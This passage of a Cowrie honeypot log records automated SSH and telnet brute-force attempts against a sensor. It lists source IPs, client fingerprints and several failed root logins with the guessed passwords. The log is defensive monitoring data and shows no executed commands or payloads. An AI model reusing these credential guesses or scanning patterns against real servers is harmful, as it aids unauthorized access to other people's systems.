2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:37.392138Z","src_ip":"43.173.83.154","session":"519e711df6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tset","message":"login attempt [root/tset] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:37.874964Z","src_ip":"43.173.83.154","session":"519e711df6ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:38.144928Z","src_ip":"43.153.50.197","session":"2afe8802fdd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.244.37.97","src_port":59418,"dst_ip":"159.203.135.109","dst_port":22,"session":"11353e0cdbcb","protocol":"ssh","message":"New connection: 171.244.37.97:59418 (159.203.135.109:22) [session: 11353e0cdbcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:38.254181Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:38.259484Z","src_ip":"171.244.37.97","session":"11353e0cdbcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:38.507215Z","src_ip":"171.244.37.97","session":"11353e0cdbcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:38.947413Z","src_ip":"43.173.83.154","session":"519e711df6ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"franci","message":"login attempt [root/franci] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:39.517235Z","src_ip":"171.244.37.97","session":"11353e0cdbcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:40.765212Z","src_ip":"171.244.37.97","session":"11353e0cdbcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.164.198","src_port":54430,"dst_ip":"159.203.135.109","dst_port":22,"session":"99f856951672","protocol":"ssh","message":"New connection: 43.135.164.198:54430 (159.203.135.109:22) [session: 99f856951672]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:42.670247Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:42.675453Z","src_ip":"43.135.164.198","session":"99f856951672","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:42.744594Z","src_ip":"43.135.164.198","session":"99f856951672","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yyy123","message":"login attempt [root/yyy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:43.052960Z","src_ip":"43.135.164.198","session":"99f856951672","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:44.124603Z","src_ip":"43.135.164.198","session":"99f856951672","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":37142,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c65037d013b","protocol":"ssh","message":"New connection: 193.32.162.151:37142 (159.203.135.109:22) [session: 2c65037d013b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:50.897099Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:50.901720Z","src_ip":"193.32.162.151","session":"2c65037d013b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:51.004624Z","src_ip":"193.32.162.151","session":"2c65037d013b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"eve","message":"login attempt [root/eve] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:51.302512Z","src_ip":"193.32.162.151","session":"2c65037d013b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":36326,"dst_ip":"10.17.0.5","dst_port":22,"session":"42e1645d3a88","protocol":"ssh","message":"New connection: 209.99.190.200:36326 (10.17.0.5:22) [session: 42e1645d3a88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:51.874312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:51.878004Z","src_ip":"209.99.190.200","session":"42e1645d3a88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:51.970802Z","src_ip":"209.99.190.200","session":"42e1645d3a88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"salt","message":"login attempt [root/salt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:52.372504Z","src_ip":"209.99.190.200","session":"42e1645d3a88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:52.404372Z","src_ip":"193.32.162.151","session":"2c65037d013b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:53.467129Z","src_ip":"209.99.190.200","session":"42e1645d3a88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.112.183","src_port":57054,"dst_ip":"10.17.0.5","dst_port":22,"session":"c1ec982acd53","protocol":"ssh","message":"New connection: 43.128.112.183:57054 (10.17.0.5:22) [session: c1ec982acd53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:56.808939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:56.815228Z","src_ip":"43.128.112.183","session":"c1ec982acd53","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:57.044469Z","src_ip":"43.128.112.183","session":"c1ec982acd53","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miao","message":"login attempt [root/miao] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:57.990249Z","src_ip":"43.128.112.183","session":"c1ec982acd53","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:10:59.221848Z","src_ip":"43.128.112.183","session":"c1ec982acd53","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.32.153.180","src_port":48574,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9e95943a5fb","protocol":"ssh","message":"New connection: 111.32.153.180:48574 (10.17.0.5:22) [session: b9e95943a5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:05.388721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:05.393905Z","src_ip":"111.32.153.180","session":"b9e95943a5fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:06.619372Z","src_ip":"111.32.153.180","session":"b9e95943a5fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44412,"dst_ip":"10.17.0.5","dst_port":23,"session":"85f554571c88","protocol":"telnet","message":"New connection: 192.119.13.58:44412 (10.17.0.5:23) [session: 85f554571c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:15.423911Z"}
{"eventid":"cowrie.session.connect","src_ip":"190.119.63.98","src_port":9269,"dst_ip":"10.17.0.5","dst_port":22,"session":"5f2997e25837","protocol":"ssh","message":"New connection: 190.119.63.98:9269 (10.17.0.5:22) [session: 5f2997e25837]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:16.046131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:16.051380Z","src_ip":"190.119.63.98","session":"5f2997e25837","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:16.183465Z","src_ip":"190.119.63.98","session":"5f2997e25837","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"newpass1","message":"login attempt [root/newpass1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:16.853045Z","src_ip":"190.119.63.98","session":"5f2997e25837","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:18.099085Z","src_ip":"190.119.63.98","session":"5f2997e25837","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":44080,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48b6c6cf103","protocol":"ssh","message":"New connection: 103.149.28.157:44080 (159.203.135.109:22) [session: a48b6c6cf103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:23.241614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:23.246814Z","src_ip":"103.149.28.157","session":"a48b6c6cf103","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:23.498508Z","src_ip":"103.149.28.157","session":"a48b6c6cf103","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"danil","message":"login attempt [root/danil] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:24.256722Z","src_ip":"103.149.28.157","session":"a48b6c6cf103","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:25.509790Z","src_ip":"103.149.28.157","session":"a48b6c6cf103","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.190.200","src_port":36024,"dst_ip":"10.17.0.5","dst_port":22,"session":"197448b5d5f2","protocol":"ssh","message":"New connection: 209.99.190.200:36024 (10.17.0.5:22) [session: 197448b5d5f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:27.576998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T04:11:27.581684Z","src_ip":"209.99.190.200","session":"197448b5d5f2","protocol":"ssh"}
